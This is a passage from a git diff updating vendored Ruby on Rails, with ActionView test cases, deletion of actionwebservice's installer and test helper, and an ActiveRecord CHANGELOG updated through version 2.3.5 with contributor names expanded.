+        @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
+        assert_match /Hello: EloyHello: Manfred/, render(:file => 'test/list')
+      end
+
+      test "is able to make methods available to the view" do
+        master_helper_module.module_eval do
+          def render_from_helper; from_test_case end
+        end
+        assert_equal 'Word!', render(:partial => 'test/from_helper')
+      end
+
+      def from_test_case; 'Word!'; end
+      helper_method :from_test_case
+    end
+
+    class AssertionsTest < ActionView::TestCase
+      def render_from_helper
+        form_tag('/foo') do
+          concat render(:text => '<ul><li>foo</li></ul>')
+        end
+      end
+      helper_method :render_from_helper
+
+      test "uses the output_buffer for assert_select" do
+        render(:partial => 'test/from_helper')
+
+        assert_select 'form' do
+          assert_select 'li', :text => 'foo'
+        end
+      end
+    end
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/actionwebservice/install.rb b/vendor/rails/actionwebservice/install.rb
deleted file mode 100644
index da08bf5f..00000000
--- a/vendor/rails/actionwebservice/install.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'rbconfig'
-require 'find'
-require 'ftools'
-
-include Config
-
-# this was adapted from rdoc's install.rb by way of Log4r
-
-$sitedir = CONFIG["sitelibdir"]
-unless $sitedir
-  version = CONFIG["MAJOR"] + "." + CONFIG["MINOR"]
-  $libdir = File.join(CONFIG["libdir"], "ruby", version)
-  $sitedir = $:.find {|x| x =~ /site_ruby/ }
-  if !$sitedir
-    $sitedir = File.join($libdir, "site_ruby")
-  elsif $sitedir !~ Regexp.quote(version)
-    $sitedir = File.join($sitedir, version)
-  end
-end
-
-# the actual gruntwork
-Dir.chdir("lib")
-
-Find.find("action_web_service", "action_web_service.rb") { |f|
-  if f[-3..-1] == ".rb"
-    File::install(f, File.join($sitedir, *f.split(/\//)), 0644, true)
-  else
-    File::makedirs(File.join($sitedir, *f.split(/\//)))
-  end
-}
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/layout.rhtml b/vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/layout.rhtml
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/methods.rhtml b/vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/methods.rhtml
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/parameters.rhtml b/vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/parameters.rhtml
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/result.rhtml b/vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/result.rhtml
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/actionwebservice/test/abstract_unit.rb b/vendor/rails/actionwebservice/test/abstract_unit.rb
deleted file mode 100644
index b7088c43..00000000
--- a/vendor/rails/actionwebservice/test/abstract_unit.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-ENV["RAILS_ENV"] = "test"
-$:.unshift(File.dirname(__FILE__) + '/../lib')
-$:.unshift(File.dirname(__FILE__) + '/../../activesupport/lib')
-$:.unshift(File.dirname(__FILE__) + '/../../actionpack/lib')
-$:.unshift(File.dirname(__FILE__) + '/../../activerecord/lib')
-
-require 'test/unit'
-require 'action_web_service'
-require 'action_controller'
-require 'action_controller/test_process'
-
-# Show backtraces for deprecated behavior for quicker cleanup.
-ActiveSupport::Deprecation.debug = true
-
-
-ActionController::Base.logger = Logger.new("debug.log")
-ActionController::Base.ignore_missing_templates = true
-
-begin
-  PATH_TO_AR = File.dirname(__FILE__) + '/../../activerecord'
-  require "#{PATH_TO_AR}/lib/active_record" unless Object.const_defined?(:ActiveRecord)
-  require "#{PATH_TO_AR}/lib/active_record/fixtures" unless Object.const_defined?(:Fixtures)
-rescue LoadError => e
-  fail "\nFailed to load activerecord: #{e}"
-end
-
-ActiveRecord::Base.configurations = {
-  'mysql' => {
-    :adapter  => "mysql",
-    :username => "rails",
-    :encoding => "utf8",
-    :database => "actionwebservice_unittest"
-  }
-}
-
-ActiveRecord::Base.establish_connection 'mysql'
-
-Test::Unit::TestCase.fixture_path = "#{File.dirname(__FILE__)}/fixtures/"
-
-# restore default raw_post functionality
-class ActionController::TestRequest
-  def raw_post
-    super
-  end
-end
diff --git a/vendor/rails/activerecord/CHANGELOG b/vendor/rails/activerecord/CHANGELOG
index 8fc2fd77..f5e2a5fa 100644
--- a/vendor/rails/activerecord/CHANGELOG
+++ b/vendor/rails/activerecord/CHANGELOG
@@ -1,24 +1,96 @@
-*2.2 (November 21st, 2008)*
+*2.3.5 (November 25, 2009)*
+
+* Minor Bug Fixes and deprecation warnings
+
+* 1.9 Compatibility
+
+* Numerous fixes to the nested attributes functionality
+
+*2.3.4 (September 4, 2009)*
+
+* PostgreSQL: XML datatype support.  #1874 [Leonardo Borges]
+
+* SQLite: deprecate the 'dbfile' option in favor of 'database.'  #2363 [Paul Hinze, Jeremy Kemper]
+
+
+*2.3.3 (July 12, 2009)*
+
+* Added :primary_key option to belongs_to associations.  #765 [Szymon Nowak, Philip Hallstrom, Noel Rocha]
+    # employees.company_name references companies.name
+    Employee.belongs_to :company, :primary_key => 'name', :foreign_key => 'company_name'
+
+* Added :touch option to belongs_to associations that will touch the parent record when the current record is saved or destroyed [DHH]
+
+* Added ActiveRecord::Base#touch to update the updated_at/on attributes (or another specified timestamp) with the current time [DHH]
+
+
+*2.3.2 [Final] (March 15, 2009)*
+
+* Added ActiveRecord::Base.find_each and ActiveRecord::Base.find_in_batches for batch processing [DHH/Jamis Buck]
+
+* Added that ActiveRecord::Base.exists? can be called with no arguments #1817 [Scott Taylor]
+
+* Add Support for updating deeply nested models from a single form. #1202 [Eloy Duran]
+
+	class Book < ActiveRecord::Base
+	  has_one :author
+	  has_many :pages
+
+	  accepts_nested_attributes_for :author, :pages
+	end
+
+* Make after_save callbacks fire only if the record was successfully saved.  #1735 [Michael Lovitt]
+
+  Previously the callbacks would fire if a before_save cancelled saving.
+
+* Support nested transactions using database savepoints.  #383 [Jonathan Viney, Hongli Lai]
+
+* Added dynamic scopes ala dynamic finders #1648 [Yaroslav Markin]
+
+* Fixed that ActiveRecord::Base#new_record? should return false (not nil) for existing records #1219 [Yaroslav Markin]
+
+* I18n the word separator for error messages. Introduces the activerecord.errors.format.separator translation key.  #1294 [Akira Matsuda]
+
+* Add :having as a key to find and the relevant associations.  [Emilio Tagua]
+
+* Added default_scope to Base #1381 [Paweł Kondzior]. Example:
+
+    class Person < ActiveRecord::Base
+      default_scope :order => 'last_name, first_name'
+    end
+
+    class Company < ActiveRecord::Base
+      has_many :people
+    end
+
+    Person.all             # => Person.find(:all, :order => 'last_name, first_name')
+    Company.find(1).people # => Person.find(:all, :order => 'last_name, first_name', :conditions => { :company_id => 1 })
+
+
+*2.2.1 [RC2] (November 14th, 2008)*
 
 * Ensure indices don't flip order in schema.rb #1266 [Jordi Bunster]
 
 * Fixed that serialized strings should never be type-casted (i.e. turning "Yes" to a boolean) #857 [Andreas Korth]
 
+
+*2.2.0 [RC1] (October 24th, 2008)*
+
 * Skip collection ids reader optimization if using :finder_sql [Jeremy Kemper]
 
-* Add Model#delete instance method, similar to Model.delete class method. #1086 [Hongli Lai]
+* Add Model#delete instance method, similar to Model.delete class method. #1086 [Hongli Lai (Phusion)]
 
 * MySQL: cope with quirky default values for not-null text columns.  #1043 [Frederick Cheung]
 
 * Multiparameter attributes skip time zone conversion for time-only columns [#1030 state:resolved] [Geoff Buesing]
 
-* Base.skip_time_zone_conversion_for_attributes uses class_inheritable_accessor, so that subclasses don't overwrite Base [#346 state:resolved] [miloops]
+* Base.skip_time_zone_conversion_for_attributes uses class_inheritable_accessor, so that subclasses don't overwrite Base [#346 state:resolved] [Emilio Tagua]
 
-* Added find_last_by dynamic finder #762 [miloops]
+* Added find_last_by dynamic finder #762 [Emilio Tagua]
 
-* Internal API: configurable association options and build_association method for reflections so plugins may extend and override.  #985 [Hongli Lai]
+* Internal API: configurable association options and build_association method for reflections so plugins may extend and override.  #985 [Hongli Lai (Phusion)]
 
-* Changed benchmarks to be reported in milliseconds [DHH]
+* Changed benchmarks to be reported in milliseconds [David Heinemeier Hansson]
 
 * Connection pooling.  #936 [Nick Sieger]
 
@@ -67,7 +139,7 @@
 
 *2.1.0 (May 31st, 2008)*
 
-* Add ActiveRecord::Base.sti_name that checks ActiveRecord::Base#store_full_sti_class? and returns either the full or demodulized name. [rick]
+* Add ActiveRecord::Base.sti_name that checks ActiveRecord::Base#store_full_sti_class? and returns either the full or demodulized name. [Rick Olson]
 
 * Add first/last methods to associations/named_scope. Resolved #226. [Ryan Bates]
 
@@ -100,27 +172,27 @@
 
 * Fixed that change_column should be able to use :null => true on a field that formerly had false [Nate Wiger] [#26]
 
-* Added that the MySQL adapter should map integer to either smallint, int, or bigint depending on the :limit just like PostgreSQL [DHH]
+* Added that the MySQL adapter should map integer to either smallint, int, or bigint depending on the :limit just like PostgreSQL [David Heinemeier Hansson]
 
-* Change validates_uniqueness_of :case_sensitive option default back to true (from [9160]).  Love your database columns, don't LOWER them.  [rick]
+* Change validates_uniqueness_of :case_sensitive option default back to true (from [9160]).  Love your database columns, don't LOWER them.  [Rick Olson]
 
-* Add support for interleaving migrations by storing which migrations have run in the new schema_migrations table. Closes #11493 [jordi]
+* Add support for interleaving migrations by storing which migrations have run in the new schema_migrations table. Closes #11493 [Jordi Bunster]
 
-* ActiveRecord::Base#sum defaults to 0 if no rows are returned.  Closes #11550 [kamal]
+* ActiveRecord::Base#sum defaults to 0 if no rows are returned.  Closes #11550 [Kamal Fariz Mahyuddin]
 
-* Ensure that respond_to? considers dynamic finder methods. Closes #11538. [floehopper]
+* Ensure that respond_to? considers dynamic finder methods. Closes #11538. [James Mead]
 
-* Ensure that save on parent object fails for invalid has_one association. Closes #10518. [Pratik]
+* Ensure that save on parent object fails for invalid has_one association. Closes #10518. [Pratik Naik]
 
-* Remove duplicate code from associations. [Pratik]
+* Remove duplicate code from associations. [Pratik Naik]
 
-* Refactor HasManyThroughAssociation to inherit from HasManyAssociation. Association callbacks and <association>_ids= now work with hm:t. #11516 [rubyruy]
+* Refactor HasManyThroughAssociation to inherit from HasManyAssociation. Association callbacks and <association>_ids= now work with hm:t. #11516 [Ruy Asan]
 
-* Ensure HABTM#create and HABTM#build do not load entire association. [Pratik]
+* Ensure HABTM#create and HABTM#build do not load entire association. [Pratik Naik]
 
 * Improve documentation. [Xavier Noria, Jack Danger Canty, leethal]
 
-* Tweak ActiveRecord::Base#to_json to include a root value in the returned hash: {"post": {"title": ...}} [rick]
+* Tweak ActiveRecord::Base#to_json to include a root value in the returned hash: {"post": {"title": ...}} [Rick Olson]
 
   Post.find(1).to_json # => {"title": ...}
   config.active_record.include_root_in_json = true
@@ -128,9 +200,9 @@
 
 * Add efficient #include? to AssociationCollection (for has_many/has_many :through/habtm).  [stopdropandrew]
 
-* PostgreSQL: create_ and drop_database support.  #9042 [ez, pedz, nicksieger]
+* PostgreSQL: create_ and drop_database support.  #9042 [ez, pedz, Nick Sieger]
 
-* Ensure that validates_uniqueness_of works with with_scope. Closes #9235. [nik.wakelin, cavalle]
+* Ensure that validates_uniqueness_of works with with_scope. Closes #9235. [Nik Wakelin, cavalle]
 
 * Partial updates include only unsaved attributes. Off by default; set YourClass.partial_updates = true to enable.  [Jeremy Kemper]
 
@@ -140,21 +212,21 @@
 
 * Track changes to unsaved attributes.  [Jeremy Kemper]
 
-* Switched to UTC-timebased version numbers for migrations and the schema. This will as good as eliminate the problem of multiple migrations getting the same version assigned in different branches. Also added rake db:migrate:up/down to apply individual migrations that may need to be run when you merge branches #11458 [jbarnette]
+* Switched to UTC-timebased version numbers for migrations and the schema. This will as good as eliminate the problem of multiple migrations getting the same version assigned in different branches. Also added rake db:migrate:up/down to apply individual migrations that may need to be run when you merge branches #11458 [John Barnette]
 
-* Fixed that has_many :through would ignore the hash conditions #11447 [miloops]
+* Fixed that has_many :through would ignore the hash conditions #11447 [Emilio Tagua]
 
 * Fix issue where the :uniq option of a has_many :through association is ignored when find(:all) is called.  Closes #9407 [cavalle]
 
 * Fix duplicate table alias error when including an association with a has_many :through association on the same join table.  Closes #7310 [cavalle]
 
-* More efficient association preloading code that compacts a through_records array in a central location.  Closes #11427 [danger]
+* More efficient association preloading code that compacts a through_records array in a central location.  Closes #11427 [Jack Danger Canty]
 
-* Improve documentation. [Radar, Jan De Poorter, chuyeow, xaviershay, danger, miloops, Xavier Noria,  Sunny Ripert]
+* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria,  Sunny Ripert]
 
-* Fixed that ActiveRecord#Base.find_or_create/initialize would not honor attr_protected/accessible when used with a hash #11422 [miloops]
+* Fixed that ActiveRecord#Base.find_or_create/initialize would not honor attr_protected/accessible when used with a hash #11422 [Emilio Tagua]
 
-* Added ActiveRecord#Base.all/first/last as aliases for find(:all/:first/:last) #11413 [nkallen, thechrisoshow]
+* Added ActiveRecord#Base.all/first/last as aliases for find(:all/:first/:last) #11413 [nkallen, Chris O'Sullivan]
 
 * Merge the has_finder gem, renamed as 'named_scope'.  #11404 [nkallen]
 
@@ -170,25 +242,25 @@
 
   See http://pivots.pivotallabs.com/users/nick/blog/articles/284-hasfinder-it-s-now-easier-than-ever-to-create-complex-re-usable-sql-queries
 
-* Add has_one :through support.  #4756 [thechrisoshow]
+* Add has_one :through support.  #4756 [Chris O'Sullivan]
 
-* Migrations: create_table supports primary_key_prefix_type.  #10314 [student, thechrisoshow]
+* Migrations: create_table supports primary_key_prefix_type.  #10314 [student, Chris O'Sullivan]
 
 * Added logging for dependency load errors with fixtures #11056 [stuthulhu]
 
 * Time zone aware attributes use Time#in_time_zone [Geoff Buesing]
 
-* Fixed that scoped joins would not always be respected #6821 [Theory/Danger]
+* Fixed that scoped joins would not always be respected #6821 [Theory/Jack Danger Canty]
 
 * Ensure that ActiveRecord::Calculations disambiguates field names with the table name.  #11027 [cavalle]
 
 * Added add/remove_timestamps to the schema statements for adding the created_at/updated_at columns on existing tables #11129 [jramirez]
 
-* Added ActiveRecord::Base.find(:last) #11338 [miloops]
+* Added ActiveRecord::Base.find(:last) #11338 [Emilio Tagua]
 
 * test_native_types expects DateTime.local_offset instead of DateTime.now.offset; fixes test breakage due to dst transition [Geoff Buesing]
 
-* Add :readonly option to HasManyThrough associations. #11156 [miloops]
+* Add :readonly option to HasManyThrough associations. #11156 [Emilio Tagua]
 
 * Improve performance on :include/:conditions/:limit queries by selectively joining in the pre-query.  #9560 [dasil003]
 
@@ -208,7 +280,7 @@
 
 * Optimise the BigDecimal conversion code.  #11110 [adymo]
 
-* Introduce the :readonly option to all associations. Records from the association cannot be saved.  #11084 [miloops]
+* Introduce the :readonly option to all associations. Records from the association cannot be saved.  #11084 [Emilio Tagua]
 
 * Multiparameter attributes for time columns fail over to DateTime when out of range of Time [Geoff Buesing]
 
@@ -216,15 +288,15 @@
 
 * Add timezone-aware attribute readers and writers. #10982 [Geoff Buesing]
 
-* Instantiating time objects in multiparameter attributes uses Time.zone if available.  #10982 [rick]
+* Instantiating time objects in multiparameter attributes uses Time.zone if available.  #10982 [Rick Olson]
 
-* Add note about how ActiveRecord::Observer classes are initialized in a Rails app. #10980 [fxn]
+* Add note about how ActiveRecord::Observer classes are initialized in a Rails app. #10980 [Xavier Noria]
 
 * MySQL: omit text/blob defaults from the schema instead of using an empty string.  #10963 [mdeiters]
 
 * belongs_to supports :dependent => :destroy and :delete.  #10592 [Jonathan Viney]
 
-* Introduce preload query strategy for eager :includes.  #9640 [Frederick Cheung, Aleksey Kondratenko, codafoo]
+* Introduce preload query strategy for eager :includes.  #9640 [Frederick Cheung, Aliaksey Kandratsenka, codafoo]
 
 * Support aggregations in finder conditions.  #10572 [Ryan Kinderman]
 
@@ -240,13 +312,13 @@
 
 * update_all ignores scoped :order and :limit, so post.comments.update_all doesn't try to include the comment order in the update statement.  #10686 [Brendan Ribera]
 
-* Added ActiveRecord::Base.cache_key to make it easier to cache Active Records in combination with the new ActiveSupport::Cache::* libraries [DHH]
+* Added ActiveRecord::Base.cache_key to make it easier to cache Active Records in combination with the new ActiveSupport::Cache::* libraries [David Heinemeier Hansson]
 
 * Make sure CSV fixtures are compatible with ruby 1.9's new csv implementation. [JEG2]
 
 * Added by parameter to increment, decrement, and their bang varieties so you can do player1.increment!(:points, 5) #10542 [Sam]
 
-* Optimize ActiveRecord::Base#exists? to use #select_all instead of #find.  Closes #10605 [jamesh, fcheung, protocool]
+* Optimize ActiveRecord::Base#exists? to use #select_all instead of #find.  Closes #10605 [jamesh, Frederick Cheung, protocool]
 
 * Don't unnecessarily load has_many associations in after_update callbacks.  Closes #6822 [stopdropandrew, canadaduane]
 
@@ -259,11 +331,11 @@
 
 *2.0.2* (December 16th, 2007)
 
-* Ensure optimistic locking handles nil #lock_version values properly.  Closes #10510 [rick]
+* Ensure optimistic locking handles nil #lock_version values properly.  Closes #10510 [Rick Olson]
 
 * Make the Fixtures Test::Unit enhancements more supporting for double-loaded test cases.  Closes #10379 [brynary]
 
-* Fix that validates_acceptance_of still works for non-existent tables (useful for bootstrapping new databases).  Closes #10474 [hasmanyjosh]
+* Fix that validates_acceptance_of still works for non-existent tables (useful for bootstrapping new databases).  Closes #10474 [Josh Susser]
 
 * Ensure that the :uniq option for has_many :through associations retains the order.  #10463 [remvee]
 
@@ -274,19 +346,19 @@
 
 *2.0.1* (December 7th, 2007)
 
-* Removed query cache rescue as it could cause code to be run twice (closes #10408) [DHH]
+* Removed query cache rescue as it could cause code to be run twice (closes #10408) [David Heinemeier Hansson]
 
 
 *2.0.0* (December 6th, 2007)
 
 * Anchor DateTimeTest to fixed DateTime instead of a variable value based on Time.now#advance#to_datetime, so that this test passes on 64-bit platforms running Ruby 1.8.6+ [Geoff Buesing]
 
-* Fixed that the Query Cache should just be ignored if the database is misconfigured (so that the "About your applications environment" works even before the database has been created) [DHH]
+* Fixed that the Query Cache should just be ignored if the database is misconfigured (so that the "About your applications environment" works even before the database has been created) [David Heinemeier Hansson]
 
 * Fixed that the truncation of strings longer than 50 chars should use inspect
 so newlines etc are escaped #10385 [Norbert Crombach]
 
-* Fixed that habtm associations should be able to set :select as part of their definition and have that honored [DHH]
+* Fixed that habtm associations should be able to set :select as part of their definition and have that honored [David Heinemeier Hansson]
 
 * Document how the :include option can be used in Calculations::calculate.  Closes #7446 [adamwiggins, ultimoamore]
 
@@ -296,7 +368,7 @@ so newlines etc are escaped #10385 [Norbert Crombach]
 
 * More complete documentation for find_by_sql. Closes #7912 [fearoffish]
 
-* Added ActiveRecord::Base#becomes to turn a record into one of another class (mostly relevant for STIs) [DHH]. Example:
+* Added ActiveRecord::Base#becomes to turn a record into one of another class (mostly relevant for STIs) [David Heinemeier Hansson]. Example:
 
     render :partial => @client.becomes(Company) # renders companies/company instead of clients/client
 
@@ -322,25 +394,25 @@ so newlines etc are escaped #10385 [Norbert Crombach]
 
 * attr_readonly behaves well with optimistic locking.  #10188 [Nick Bugajski]
 
-* Base#to_xml supports the nil="true" attribute like Hash#to_xml.  #8268 [Catfish]
+* Base#to_xml supports the nil="true" attribute like Hash#to_xml.  #8268 [Jonathan del Strother]
 
-* Change plings to the more conventional quotes in the documentation. Closes #10104 [danger]
+* Change plings to the more conventional quotes in the documentation. Closes #10104 [Jack Danger Canty]
 
-* Fix HasManyThrough Association so it uses :conditions on the HasMany Association.  Closes #9729 [danger]
+* Fix HasManyThrough Association so it uses :conditions on the HasMany Association.  Closes #9729 [Jack Danger Canty]
 
 * Ensure that column names are quoted.  Closes #10134 [wesley.moxam]
 
-* Smattering of grammatical fixes to documentation. Closes #10083 [BobSilva]
+* Smattering of grammatical fixes to documentation. Closes #10083 [Bob Silva]
 
-* Enhance explanation with more examples for attr_accessible macro. Closes #8095 [fearoffish, Marcel Molina]
+* Enhance explanation with more examples for attr_accessible macro. Closes #8095 [fearoffish, Marcel Molina Jr.]
 
 * Update association/method mapping table to refected latest collection methods for has_many :through. Closes #8772 [Pratik Naik]
 
-* Explain semantics of having several different AR instances in a transaction block. Closes #9036 [jacobat, Marcel Molina]
+* Explain semantics of having several different AR instances in a transaction block. Closes #9036 [jacobat, Marcel Molina Jr.]
 
-* Update Schema documentation to use updated sexy migration notation. Closes #10086 [sjgman9]
+* Update Schema documentation to use updated sexy migration notation. Closes #10086 [Sam Granieri]
 
-* Make fixtures work with the new test subclasses. [Tarmo Tänav, Koz]
+* Make fixtures work with the new test subclasses. [Tarmo Tänav, Michael Koziarski]
 
 * Introduce finder :joins with associations. Same :include syntax but with inner rather than outer joins.  #10012 [RubyRedRick]
     # Find users with an avatar
@@ -351,7 +423,7 @@ so newlines etc are escaped #10385 [Norbert Crombach]
 
 * Associations: speedup duplicate record check.  #10011 [Pratik Naik]
 
-* Make sure that << works on has_many associations on unsaved records.  Closes #9989 [hasmanyjosh]
+* Make sure that << works on has_many associations on unsaved records.  Closes #9989 [Josh Susser]
 
 * Allow association redefinition in subclasses.  #9346 [wildchild]
 
@@ -374,7 +446,7 @@ so newlines etc are escaped #10385 [Norbert Crombach]
 
 * Use VALID_FIND_OPTIONS when resolving :find scoping rather than hard coding the list of valid find options. Closes #9443 [sur]
 
-* Limited eager loading no longer ignores scoped :order. Closes #9561 [danger, Josh Peek]
+* Limited eager loading no longer ignores scoped :order. Closes #9561 [Jack Danger Canty, Josh Peek]
 
 * Assigning an instance of a foreign class to a composed_of aggregate calls an optional conversion block. Refactor and simplify composed_of implementation.  #6322 [brandon, Chris Cruft]
 
@@ -387,7 +459,7 @@ so newlines etc are escaped #10385 [Norbert Crombach]
 * Complete the assimilation of Sexy Migrations from ErrFree [Chris Wanstrath, PJ Hyett]
 	http://errtheblog.com/post/2381
 
-* Qualified column names work in hash conditions, like :conditions => { 'comments.created_at' => ... }.  #9733 [danger]
+* Qualified column names work in hash conditions, like :conditions => { 'comments.created_at' => ... }.  #9733 [Jack Danger Canty]
 
 * Fix regression where the association would not construct new finder SQL on save causing bogus queries for "WHERE owner_id = NULL" even after owner was saved.  #8713 [Bryan Helmkamp]
 
@@ -397,11 +469,11 @@ so newlines etc are escaped #10385 [Norbert Crombach]
 
 * Alias association #build to #new so it behaves predictably.  #8787 [Pratik Naik]
 
-* Add notes to documentation regarding attr_readonly behavior with counter caches and polymorphic associations.  Closes #9835 [saimonmoore, rick]
+* Add notes to documentation regarding attr_readonly behavior with counter caches and polymorphic associations.  Closes #9835 [saimonmoore, Rick Olson]
 
 * Observers can observe model names as symbols properly now.  Closes #9869  [queso]
 
-* find_and_(initialize|create)_by methods can now properly initialize protected attributes [Tobias Luetke]
+* find_and_(initialize|create)_by methods can now properly initialize protected attributes [Tobias Lütke]
 
 * belongs_to infers the foreign key from the association name instead of from the class name.  [Jeremy Kemper]
 
@@ -420,16 +492,16 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
 
 * Allow change_column to set NOT NULL in the PostgreSQL adapter [Tarmo Tänav]
 
-* Fix that ActiveRecord would create attribute methods and override custom attribute getters if the method is also defined in Kernel.methods. [Rick]
+* Fix that ActiveRecord would create attribute methods and override custom attribute getters if the method is also defined in Kernel.methods. [Rick Olson]
 
-* Don't call attr_readonly on polymorphic belongs_to associations, in case it matches the name of some other non-ActiveRecord class/module.  [Rick]
+* Don't call attr_readonly on polymorphic belongs_to associations, in case it matches the name of some other non-ActiveRecord class/module.  [Rick Olson]
 
 * Try loading activerecord-<adaptername>-adapter gem before trying a plain require so you can use custom gems for the bundled adapters. Also stops gems from requiring an adapter from an old Active Record gem.  [Jeremy Kemper, Derrick Spell]
 
 
 *2.0.0 [Preview Release]* (September 29th, 2007) [Includes duplicates of changes from 1.14.2 - 1.15.3]
 
-* Add attr_readonly to specify columns that are skipped during a normal ActiveRecord #save operation. Closes #6896 [dcmanges]
+* Add attr_readonly to specify columns that are skipped during a normal ActiveRecord #save operation. Closes #6896 [Dan Manges]
 
   class Comment < ActiveRecord::Base
     # Automatically sets Article#comments_count as readonly.
@@ -440,7 +512,7 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
     attr_readonly :approved_comments_count
   end
 
-* Make size for has_many :through use counter cache if it exists.  Closes #9734 [xaviershay]
+* Make size for has_many :through use counter cache if it exists.  Closes #9734 [Xavier Shay]
 
 * Remove DB2 adapter since IBM chooses to maintain their own adapter instead.  [Jeremy Kemper]
 
@@ -456,9 +528,9 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
 
 * Added the possibility of using symbols in addition to concrete classes with ActiveRecord::Observer#observe.  #3998 [Robby Russell, Tarmo Tänav]
 
-* Added ActiveRecord::Base#to_json/from_json [DHH, Cheah Chu Yeow]
+* Added ActiveRecord::Base#to_json/from_json [David Heinemeier Hansson, Cheah Chu Yeow]
 
-* Added ActiveRecord::Base#from_xml [DHH]. Example:
+* Added ActiveRecord::Base#from_xml [David Heinemeier Hansson]. Example:
 
     xml = "<person><name>David</name></person>"
     Person.new.from_xml(xml).name # => "David"
@@ -493,27 +565,27 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
 
 * Explicitly require active_record/query_cache before using it.  [Jeremy Kemper]
 
-* Fix bug where unserializing an attribute attempts to modify a frozen @attributes hash for a deleted record.  [Rick, marclove]
+* Fix bug where unserializing an attribute attempts to modify a frozen @attributes hash for a deleted record.  [Rick Olson, marclove]
 
 * Performance: absorb instantiate and initialize_with_callbacks into the Base methods. [Jeremy Kemper]
 
-* Fixed that eager loading queries and with_scope should respect the :group option [DHH]
+* Fixed that eager loading queries and with_scope should respect the :group option [David Heinemeier Hansson]
 
 * Improve performance and functionality of the postgresql adapter.  Closes #8049 [roderickvd]
 
 	For more information see: http://dev.rubyonrails.org/ticket/8049
 
-* Don't clobber includes passed to has_many.count [danger]
+* Don't clobber includes passed to has_many.count [Jack Danger Canty]
 
-* Make sure has_many uses :include when counting [danger]
+* Make sure has_many uses :include when counting [Jack Danger Canty]
 
-* Change the implementation of ActiveRecord's attribute reader and writer methods [nzkoz]
+* Change the implementation of ActiveRecord's attribute reader and writer methods [Michael Koziarski]
  - Generate Reader and Writer methods which cache attribute values in hashes.  This is to avoid repeatedly parsing the same date or integer columns.
  - Change exception raised when users use find with :select then try to access a skipped column.  Plugins could override missing_attribute() to lazily load the columns.
  - Move method definition to the class, instead of the instance
  - Always generate the readers, writers and predicate methods.
 
-* Perform a deep #dup on query cache results so that modifying activerecord attributes does not modify the cached attributes.  [Rick]
+* Perform a deep #dup on query cache results so that modifying activerecord attributes does not modify the cached attributes.  [Rick Olson]
 
 # Ensure that has_many :through associations use a count query instead of loading the target when #size is called.  Closes #8800 [Pratik Naik]
 
@@ -533,7 +605,7 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
 
 * Remove deprecated count(conditions=nil, joins=nil) usage.  Closes #8993 [Pratik Naik]
 
-* Change belongs_to so that the foreign_key assumption is taken from the association name, not the class name.  Closes #8992 [hasmanyjosh]
+* Change belongs_to so that the foreign_key assumption is taken from the association name, not the class name.  Closes #8992 [Josh Susser]
 
   OLD
     belongs_to :visitor, :class_name => 'User' # => inferred foreign_key is user_id
@@ -547,7 +619,7 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
 
 * Move from select * to select tablename.* to avoid clobbering IDs. Closes #8889 [dasil003]
 
-* Don't call unsupported methods on associated objects when using :include, :method with to_xml #7307, [manfred, jwilger]
+* Don't call unsupported methods on associated objects when using :include, :method with to_xml #7307, [Manfred Stienstra, jwilger]
 
 * Define collection singular ids method for has_many :through associations.  #8763 [Pratik Naik]
 
@@ -561,7 +633,7 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
 
 * Update tests' use of fixtures for the new collections api.  #8726 [Kamal Fariz Mahyuddin]
 
-* Save associated records only if the association is already loaded.  #8713 [blaine]
+* Save associated records only if the association is already loaded.  #8713 [Blaine]
 
 * MySQL: fix show_variable.  #8448 [matt, Jeremy Kemper]
 
@@ -605,7 +677,7 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
 
 * Load database adapters on demand. Eliminates config.connection_adapters and RAILS_CONNECTION_ADAPTERS. Add your lib directory to the $LOAD_PATH and put your custom adapter in lib/active_record/connection_adapters/adaptername_adapter.rb. This way you can provide custom adapters as plugins or gems without modifying Rails. [Jeremy Kemper]
 
-* Ensure that associations with :dependent => :delete_all respect :conditions option.  Closes #8034 [danger, Josh Peek, Rick]
+* Ensure that associations with :dependent => :delete_all respect :conditions option.  Closes #8034 [Jack Danger Canty, Josh Peek, Rick Olson]
 
 * belongs_to assignment creates a new proxy rather than modifying its target in-place.  #8412 [mmangino@elevatedrails.com]
 
@@ -617,13 +689,13 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
 
 * Sanitize Base#inspect.  #8392, #8623 [Nik Wakelin, jnoon]
 
-* Replace the transaction {|transaction|..} semantics with a new Exception ActiveRecord::Rollback.   [Koz]
+* Replace the transaction {|transaction|..} semantics with a new Exception ActiveRecord::Rollback.   [Michael Koziarski]
 
 * Oracle: extract column length for CHAR also.  #7866 [ymendel]
 
 * Document :allow_nil option for validates_acceptance_of since it defaults to true. [tzaharia]
 
-* Update documentation for :dependent declaration so that it explicitly uses the non-deprecated API. [danger]
+* Update documentation for :dependent declaration so that it explicitly uses the non-deprecated API. [Jack Danger Canty]
 
 * Add documentation caveat about when to use count_by_sql. [fearoffish]
 
